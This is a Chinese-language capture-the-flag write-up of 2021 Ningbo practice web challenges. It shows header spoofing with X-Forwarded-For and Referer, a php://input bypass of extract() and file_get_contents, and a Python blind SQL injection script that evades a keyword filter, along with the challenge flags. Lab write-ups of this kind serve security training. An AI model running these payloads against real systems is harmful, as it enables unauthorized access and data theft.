【宁波市赛练习题】 2021宁波市赛练习题WriteUp

签到喽~

题目地址:192.144.182.32:25006

image-20210522121121185

flag在响应头里,没啥好说的。

image-20210522121012794

flag为:flag{ad5dd38110ef947908ade2fe7b1e10d3}


Myself~

image-20210522121220528

题目地址:192.144.182.32:25001

点开题目,要求从小东自己的电脑中访问

image-20210522121320760

添加请求头:X-Forwarded-For: 127.0.0.1

要求必须从主页跳转来的

image-20210522121417893

添加请求头:Referer: http://192.144.182.32:25001/

image-20210522121540665

重新请求后,得到flag

image-20210522121615484

flagflag{15cc8eee88302965c61497c147e6ca4c}

php是……~

image-20210522121657843

题目地址:192.144.182.32:25002

打开题目,是PHP代码审计

image-20210522121742037

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
include 'flag.php';
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
else
{
highlight_file(__FILE__);
}
?>

extract($_GET);这一行代码,会自动将URL中的get请求中的参数和值进行赋值。

file_get_contents:通常这个函数,使用php://input伪协议绕过

有关PHP伪协议的内容,参考smi1e师傅的博客。

文件包含漏洞与PHP伪协议 | Smi1e

函数解释清楚了,直接上payload

payload:http://192.144.182.32:25002/?ac=php://input&fn=php://input,并且往postdata中传php://input

image-20210522122325479

得到flag

image-20210522122411467

flag为:flag{5592f1a9fa885a77ba55497e501a101a}

Vulnerabilities~(未解决)

image-20210522122521113

题目地址:192.144.182.32:25005

用御剑扫出以下页面

192.144.182.32:25005/login.php

192.144.182.32:25005/conn.php

image-20210522122626577

用字典爆破,没爆出来

sqlmap也没有跑出来

唯一发现就是,只有当用户名输入admin密码也输入admin的时候,是在当前页面回显No Vulnerabilities.

image-20210522122822076

不同时输入admin,回显一个弹窗,如下图所示

image-20210522122905928

注入吧~

image-20210522122943538

题目地址:192.144.182.32:20007

点击页面上的按钮,如下

image-20210522123019366

审查js代码,发现是往id参数中传一个1-5中的随机数

image-20210522123123861

经过手工判断,是一个数字型注入

尝试联合注入

http://192.144.182.32:20007/index.php?id=1000 union select 1,2,3 #

image-20210522123315183

被waf了

image-20210522123339494

经过排查后,发现是过滤union select,单个的unionselect是没有被过滤的

此外,fuzz一下,还过滤了+orderinformation_schema等等关键字

尝试使用盲注

http://192.144.182.32:20007/index.php?id=1 and if(strcmp(substr(database(),1,1),'a'),0,1)#

回显如下

image-20210522124832815

http://192.144.182.32:20007/index.php?id=1 and if(strcmp(substr(database(),1,1),'d'),0,1)#

回显如下

image-20210522124908889

因此,写脚本,进行盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests;

ans = ""

for j in range(1,40):
for i in range(97,97+26):
url = "http://192.144.182.32:20007/index.php?id=1 and if(strcmp(substr(database(),"+ str(j) + ",1),'" + chr(i) + "'),0,1)#"
res = requests.get(url)
res.encoding = "UTF-8"
if "干" in res.text:
ans = ans + chr(i)
print(ans)
for k in range( 48 , 48 + 10):
url = "http://192.144.182.32:20007/index.php?id=1 and if(strcmp(substr(database(),"+ str(j) + ",1),'" + chr(k) + "'),0,1)#"
res = requests.get(url)
res.encoding = "UTF-8"
if "干" in res.text:
ans = ans + chr(k)
print(ans)

爆破结果如下

image-20210522125145483

一开始还做不下去了,结果尝试一下,flag就是数据库名包上flag{}

flag为:flag{deb7cb73f0ea2b2af2d1e3715fd12044}

只能说,离谱,题目也不说明。